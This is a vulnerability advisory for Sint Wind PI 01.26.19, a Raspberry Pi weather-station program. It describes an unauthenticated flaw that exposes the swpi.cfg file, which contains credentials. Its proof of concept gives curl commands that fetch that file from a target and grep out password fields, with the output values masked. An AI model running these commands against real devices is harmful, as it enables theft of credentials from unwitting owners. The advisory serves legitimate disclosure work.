Sint Wind PI 01.26.19 Authentication Bypass

`  
Sint Wind PI v01.26.19 Authentication Bypass  
  
  
Vendor: Tonino Tarsi  
Product web page: https://github.com/ToninoTarsi/swpi  
Affected version: 01.26.19  
  
Summary: A Meteo Station software for Raspberry PI. Capability include  
telephone answering, webcams, digital cameras, web. A Sint Wind is a  
wind condition (and other meteo data) telephone answering machine. This  
implementation uses a Raspberry PI with an Huawei 3G dongle. The Sint  
Wind is compatible with different kind of Meteo Sensors (WH1080, WH3080,  
Davis, TX32, BMP085...).  
  
Desc: Insecure Direct Object Reference flaw allows retrieval of configuration  
file which contains authentication credentials to device and other nodes  
associated with it. The web application does not check for an authenticated  
session to access its resources allowing direct access to swpi.cfg (config file)  
which contains credentials.  
  
Tested on: SimpleHTTP/0.6 Python/2.7.3  
Raspberry PI  
  
  
Vulnerability discovered by Humberto Cabrera  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5472  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5472.php  
  
  
28.05.2018  
  
--  
  
  
PoC:  
  
--  
curl http://target/swpi.cfg | grep -i pwd  
  
smspwd = [*]  
gmail_pwd = [*]  
dnsexit_pwd = [*]  
  
--  
curl http://target/swpi.cfg | grep -i pass  
  
ftpserverpassowd = [*]  
weatherunderground_password = [*]  
pws_password = XXXXXXXX  
cwop_password = -1  
windfinder_password = ******  
  
`